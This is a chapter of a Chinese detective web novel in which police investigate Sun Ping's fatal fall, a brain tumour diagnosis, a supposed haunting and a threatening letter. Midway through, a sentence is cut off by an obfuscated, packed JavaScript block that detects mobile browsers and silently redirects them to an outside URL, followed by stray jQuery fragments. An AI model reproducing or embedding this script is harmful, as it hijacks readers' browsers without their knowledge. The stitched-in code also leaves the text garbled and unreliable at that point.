54. 德胜街风波

作品:《靠破案拯救乙游世界

    10月22日,1:50AM,湖心苑三单元1001户。


    湖心苑是十几年前的政府宿舍,那时候不少编制内的人分到了这个小区的房子。


    现在来看,小区的户型已经完全过时了。


    就比如死者孙平家,两室一厅的房子,主卧和次卧朝阳,一进门的客厅却黑漆漆的没有窗户采光。


    客厅垃圾桶里有两个绿色的啤酒瓶子和食物残渣,瓶子壁上还有没干透的液体,应该是昨晚刚喝的。


    老旧的电视、老旧的茶几、老旧的沙发,这个家里的一切似乎都上了年纪。


    沙发上的墙壁微微发黄,隐约能看出来曾经悬挂过照片或者画框的痕迹。


    不太确定,可能是被撤下来全家福?


    主卧是死者的房间。屋里的地面、床头柜一尘不染,能看出来,死者生前的卫生习惯很好。


    衣服整齐地挂在柜子里,江鹤逐个衣兜检查了一番,只在一件黑色外套里找到了一包开了封的卫生纸。


    床上的床单被套隐约能看出单人躺着的形状。


    死者睡着睡着觉,突然爬起来踩着阳台的板凳跳楼了?


    “阿鹤你说,这会不会有点太巧了?”阮铃一边检查着床头柜,一边问道。


    “本来约的是周六晚上8点来孙平家调查闹鬼的事,我们人还没来,他先坠楼了?”


    阮铃接着说:“房间里没有打斗痕迹,窗户下面还放了一个垫脚的木头凳子,难道他是被鬼吓得跳楼了?”


    江鹤掀起床单枕头检查,说:“你不是坚定的唯物主义战士嘛?”


    “这是?”她突然停住了动作。


    枕头下面有一份医院的检查报告。


    阮铃凑到面前,和江鹤一起翻阅着报告。


    看着看着,阮铃惊呼道:“孙平大脑里长了一个恶性肿瘤,而且还是晚期?”


    “程云舒不是说,他儿子孙墨言带他做过身体检查,无论是身体还是精神都没问题吗?”


    江鹤猜测道:“那个程云舒估计也是听说的,又不是他带去做的检查。”


    “也是,他了解的不知道是几手消息了……”


    江鹤反复看着孙平的诊断报告:“如果死者患有脑癌的话,也许会导致幻觉和剧烈的头痛也说不定。”


    想必那个只有孙平能看到和听到的女鬼,也是他的幻觉。


    孙墨言的房间比孙平的稍小点,但构造差不多。


    整个家充斥着单身男人的感觉,孙平房间和客厅里没有亡妻的照片,孙墨言房间也没有自己女儿的衣服玩具。


    看来他也不常见女儿,这个家就像从来没有女人和孩子在这里生活过。


    技术队已经完成了对房间的取证,李恒催促大家收工回队。


    江鹤在楼道里单手扶墙脱着鞋套。


    现在是深夜,她们尽可能避免发出大的声响闹得人心惶惶,只能低声询问。


    阮铃同样也看不清案件的走向,说道:“现场还没有他杀的证据,判断是自杀还是他杀,我们还得等法医的报告。”


    江鹤心里清楚,孙平案带有系统提供的进度,这绝不是简单的自杀案。


    而在这个仅有父子俩同住的深夜里,凶手除了儿子孙墨言,似乎没有其他的可能。


    孙墨言有重大的嫌疑。


    如果是他的话,他的电脑手机中应该也会有《杀人指南》吧。


    可惜她是从游戏进度的角度上对案件进行的判断,如果她将这番“依据”,恐怕就连阮铃也会当她大脑出了毛病。


    现在只能回队里等问询和尸检记录了。


    #####


    10月22日,5:00AM,南江市公安局刑警队。


    近三个小时的突审,李恒和徐凯面容憔悴地从问询室走出来。


    对孙墨言的问询无聊而常规,让熬了一个通宵的李恒困得睁不开眼。


    他打着哈欠指挥徐凯说:“让他在笔录上签字按手印。”


    “好的李队。接下来咱们按什么方向处理。”


    李恒问道:“尸检结果怎么样了?”


    “法医和技术队刚做完鉴定,正在会议室等咱们。”


    他回到工位上,撕开一条速溶咖啡就往嘴里倒,接着一杯水送服下去。


    “走。”


    秦澈在会议室翻阅着现场的物证,看到推门进来的李恒,抬眼问道:“审的怎么样?”


    李恒快走两步将笔录递到秦澈面前:“秦队,还没看出什么端倪。”


    “辛苦了,先坐,听听法医怎么说。”


    刘景然揉了揉眼睛,简要的分析的尸体的情况。


    “首先是死因。死者从10楼高的位置坠落,造成颈椎、颅骨严重骨折,当场身亡。


    尸体上除了快要落入花坛中被灌木、树枝擦伤的伤口外,没有其他外伤。


    死者生前喝了酒,但根据尸体血检的情况,死者体内残留的酒精浓度不高,远不到致人昏迷失去意识的程度。”


    “孙墨言刚刚也交代,今天晚上他和父亲孙平心情好,一人喝了一瓶啤酒。”


    “嗯,和物证情况对得上。”秦澈点头道。


    刘景然继续分析道:“尸体口唇眼、四肢躯干均没有异常,在解剖前可初步排除投毒的可能。”


    “死者唯一的亲属不同意解剖,说他父亲生前最在意体面。”李恒扶额说,语气中暗含不满。


    秦澈眉头微皱,强调道:“在没有证据证明存在他杀可能前,要尊重家属的意见。”


    分析完死因,刘景然继续汇报。


    死亡时间可以确定在10月22日凌晨1点07分,小区内的人行道装有监控,监控显示的坠亡时间和尸体的表现一致。


    听完法医介绍完大致情况,江鹤感觉案情越来越向自杀靠拢了。


    技术队部分,孙书言一反常态的让茅莹代替自己汇报。


    茅莹也算是经验丰富,三言两语便说明了现场的情况。


    第一,没有监控拍到死者从窗内往窗外的视角,所以无法证明死者是自己爬上窗户一跃而下,还是在失去意识的情况下被扔下去的。


    这点结合法医所说,死者没有醉酒、没有中毒、没有服药表现,因此可以暂时排除是被扔下楼的情况。


    第二,现场诊断报告显示,死者脑部患有恶性肿瘤。技术队已经联系到出具诊断报告的南江市第一人民医院的主治医生。


    医生称,孙平一个月前是一个人去看病的,当时医生判断他仅有不到三个月的生命。


    孙平强烈抗拒医生将自己的病情告知他的家人,且他拒绝进行治疗,因此家里也没有相关的药物。


    ……


    这么说,孙平已经彻底放弃自己的生命了?


    他自知没有几个月的寿命了,治疗也是徒增痛苦,所以干脆选择平静地离世……


    一个将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14581993|149211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生命置之度外的人,居然还会怕闹鬼?


    江鹤想不通,这里面一定有隐情!


    最后一点,现场没有争执、打斗痕迹,没有物品损坏,没有遗书,没有找到刺激孙平自杀的刺激源。


    李恒补充道:“根据孙墨言的笔录,今天凌晨他已经睡熟了,突然听到父亲房间里传来一声大喊,接着,他听到了窗户被拉开的声音。”


    “听到声音后,他以为窗外有什么东西,连忙拉开窗,正好看到了父亲跳下去的身影。”


    ……


    “孙墨言说,自己和父亲的关系一直不冷不热,自从净身出户后,他就搬来了父亲家。”


    “孙平既是孙墨言的亲爹,还是孙墨言在自规局的领导,所以孙墨言在孙平面前向来抬不起头。”


    “最近他们家闹鬼,这事让两人的关系在这一个月来有些改善。”


    除了已知的江鹤和阮铃,其余众人好奇地抬起头,异口同声地问:“闹鬼?”


    “是,孙平这一个月来总是说家里有个女鬼,一到半夜,他就喊‘有鬼’,在家里大吼大叫。”


    “为了这事,隔壁的邻居还来敲过他家好几次门。”


    “孙墨言带着孙平到处求医问药,但是没有丝毫缓解,今天都准备请私家侦探上门了。”


    私家侦探?!那不就是阮铃和江鹤吗?


    江鹤侧头看了看阮铃,她正局促地在桌子下捏手。


    她们就是即将上门的“私家侦探”这件事,要不要现在说出来呢?


    “孙墨言带着孙平看医生,一定也知道孙平脑癌晚期的病情了吧。”


    李恒摇摇头,“孙墨言说他完全不知道,还说孙平身体和精神都没有问题。”


    江鹤猜测道:“是不是做检查的时候,孙平把儿子支了出去,要求医生保密。”


    秦澈点点头:“会后你们找医生核实一下。”


    “李恒,继续。”


    “孙墨言口供里最值得关注的一点是孙平收到的恐吓信!”


    恐吓信?这是她们没得到的信息。


    江鹤竖起耳朵认真了起来。


    据孙墨言说,有一次快递员投送文件,孙平的办公室锁着门。


    单位里人人都知道他们是亲生父子关系,就连常来的快递员都不例外。


    因此他就把件投到孙墨言这里了。


    孙墨言在拆文件袋的时候没注意是投给父亲的,打开后才发现是一封恐吓信。


    信是手写的,内容是一个女儿控诉孙平欺骗自己的母亲、生而不养、道德败坏的恶行。


    秦澈问道:“这是控诉信吧,怎么是恐吓?”


    “信现在还在孙墨言单位的抽屉里,我们还没看到原件。”


    “但孙墨言说,信里最后祝孙平灾厄缠身、家破人亡!”


    ……


    江鹤心想,如果孙平真做过这种事,那他的“女儿”为母亲打抱不平,骂他两句也没什么。


    “这和孙平的死有关系吗?”秦澈抬头问。


    李恒继续说道:“孙墨言说,孙平第一次说家里闹鬼就是在收到这封信那个星期。”


    “他怕父亲年纪大了,也不相信父亲是这种人,于是自作主张没有告诉孙平信的事。”


    “但他怀疑寄信的那个人不止寄了一次,说不定就是这个恐吓信吓得父亲‘见鬼了’!”


    “孙墨言觉得,寄信人就是间接害死他父亲的凶手!”